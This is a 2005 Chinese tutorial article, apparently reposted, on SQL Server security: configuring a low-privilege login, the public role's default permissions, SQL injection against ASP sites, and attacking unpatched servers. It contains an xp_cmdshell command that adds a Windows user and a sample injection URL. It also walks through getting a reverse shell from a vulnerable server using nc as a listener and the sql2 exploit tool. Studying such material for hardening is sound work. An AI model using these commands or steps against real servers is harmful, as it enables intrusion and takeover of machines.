论坛登陆 注册 文章专区 投稿文章 旧版浏览
首页 | 页界资讯 | 安全动态 | 网络应用 | 组网技术 | 软件应用 | 工具软件 | 网管知识 | 帮助
文学 | 操作系统 | 注 册 表 | 编程语言 | 数 据 库 | 服 务 器 | 网页设计 | 图形图象 | VIP
论坛 | 网络安全 | 安全防范 | 黑客技术 | 硬件学堂 | 路由技术 | 搜索研究 | 站长经验 | 投稿
专题 | 教育频道 | 特色专题 | 精文荟萃 | 聊天通讯 | 网络文学 | 论坛社区 | 广告服务 | 旧版
设为首页 加入收藏
当前位置:首页>>文章>>数据库>>Mssql>>正文

SQL Server的几个安全问题个个谈(下)

2005-11-18 16:55:54  作者:不详 来源:网络转载
SQL Server的几个安全问题个个谈(下):

1)、新建aaa用户

如图17,新建登录后出现图18界面,输入用户名aaa,在输入个强壮的密码。

 



 

图17



 

 



 

图18



2)、设置权限

如图18,在“服务器角色”选项中什么也不选,如图19,在“数据库访问”选项中只选“xyz”库,也就是说只让aaa用户访问xyz库。“数据库角色中允许”只选默认的“public”。

 



 

图19



 

 



 

图20



3)、测试

设置好后,用aaa用户登陆“SQL 查询分析器”,如图21,执行exec xp_cmdshell 'net user user1 /add',出现了期待的结果,没有权限执行。

 



 

图21



接着执行SELECT name FROM sysdatabases where dbid>6,期待的结果是没有权限执行,可实际的结果和图10的查询结果一模一样,aaa用户不是没有master库的权限吗?aaa用户除了不能访问自己建的库wz_cxxt_new外,其它的库都能访问,问题出在哪呢?

问题出在public 角色,下面这段话是SQL Server帮助中写的。

ublic 角色是一个特殊的数据库角色,每个数据库用户都属于它。public 角色:

· 捕获数据库中用户的所有默认权限。

· 无法将用户、组或角色指派给它,因为默认情况下它们即属于该角色。

· 含在每个数据库中,包括 master、msdb、tempdb、model 和所有用户数据库

· 无法除去。

如图22是master库中的“public”角色,双击“public”,在界面中单击“权限”,出现图23界面,可以看到该角色具有sysdatabases的访问权限。可以看到权限分得非常细,有select、insert、update、delete等,如图24,把权限改为禁止,再执行SELECT name FROM sysdatabases时出现了“拒绝了对对象 'sysdatabases'(数据库 'master',所有者 'dbo')的 SELECT 权限。”的提示。

 



 

图22



 

 



 

图23



 

 



 

图24



Public角色默认没有执行扩展存储过程的权限,但可以赋予该角色执行的权限,有访问库的权限,也可以去掉。看到这,是不是觉得非常麻烦,本来权限的设置就是个双刃剑,设置得过于宽松会有安全漏洞,过于严格在程序运行时可能会出问题,本文无法给出一个彻底的解决方案,只要在懂得原理的基础上,在实践中不断摸索才能理出一个最佳方案。

3、注入

对于SQL Server+ASP的注入,有一种是ASP连接SQL Server用户的权限足够大,而ASP程序本身有漏洞,而从而构造出类似http://www.***.com/aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 这样的SQL语句,根据前文讲的原理暴出库、表及相应的纪录。

关于注入有许多精彩和经典的文章,还有像NBSI2那样好用的工具,在此就不班门弄斧了。

三、SQL Server不打补丁的漏洞

小王的SQL Server是安装在win 2000上的,没有打补丁,没打补丁的SQL Server就是个大漏勺,无论你的权限设置的多么严格都是一张一捅就破的烂纸。下面的例子是对有漏洞的SQL Serve(安装在192.168.113.10这台机器上)的攻击,实验中用到了两个工具,nc和sql2,nc别名瑞士军刀,是古老且十分强大的网络工具,如果想知道详细用法请参考网上的相关资料,sql2是专门攻击有漏洞的SQL Serve(sp2以下,含sp2),过程如下:

如图25,在我的机器(IP地址为192.168.113.207)的命令窗口下(运行cmd)运行nc –l –p 77,意思是在本机开个77的端口

新建一个命令窗口,运行sql2 192.168.113.10 192.168.113.207 77 0

如果192.168.113.10上的SQL Serve有漏洞,192.168.113.207的nc监视窗口就会出现下图26的界面,注意!这个界面可是装有SQL Serve机器的,换句话,我们已经入侵到这台机器了。接着看下图27,用ipconfig 查的地址是192.168.113.10,它归你控制了,简单吧!

 



 

图25



 

 



 

图26

本新闻共2页,当前在第1页  1  2  

上一篇:基于WEB的数据库查询
下一篇:SQL Server的几个安全问题个个谈(上)

关闭窗口】【浏览次数:】【发送给好友】【收藏此页
相关文章 最新文章 热门文章

·Windows服务器全面安全配置教程
·SQL Server的几个安全问题个个谈(上
·增强IIS安全的简单措施 
·用IIS建立高安全性Web服务器 
·一五一十谈IIS安全机制
·IIS安全保卫战
·SQL Server 2000 的关键字
·SQL Server安全列表
·Win2000绝版安全配置教程初级 

·Illustrator 制作服装效果图(3)
·Illustrator 制作服装效果图(2)
·Illustrator 制作服装效果图(1)
·Illustrator中参考线的妙用II(2)
·Illustrator中参考线的妙用II(1)
·快速将你的相片矢量化(3)
·快速将你的相片矢量化(2)
·快速将你的相片矢量化(1)
·使用Illustrator创建图标的详细过程
·Illustrator 中的简单三维效果
·QQ密码丢失后能做的事情:快速找回密码
·系统优化 专题
·免费代理IP(每日更新)
·最经典的黑客入门教材
·找回QQ密码的注意事项 
·怎样查找对方的IP地址
·求职简历封皮
·实战系统虚拟利器——MS VPC 2004
·电脑初学者必备之Windows进程大全
·DMA让你的硬盘速度飞起来
评论 本站声明
会员名称:
密码:匿名 ·注册·忘记密码?
评论内容:
(最多300个字符)
  查看评论
【注】 发表评论必需遵守以下条例:
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款
  • 本站大部分为网络转载,如有版权问题,请通知我们,我们立即更正!

设为首页 - 版权声明 - 广告服务 - 关于我们 - 联系我们 - 友情连接
Copyright © 2003-2005 xker.com All rights reserved. 网站合作、广告联系QQ:12231446
小新技术网 冀ICP备05002857号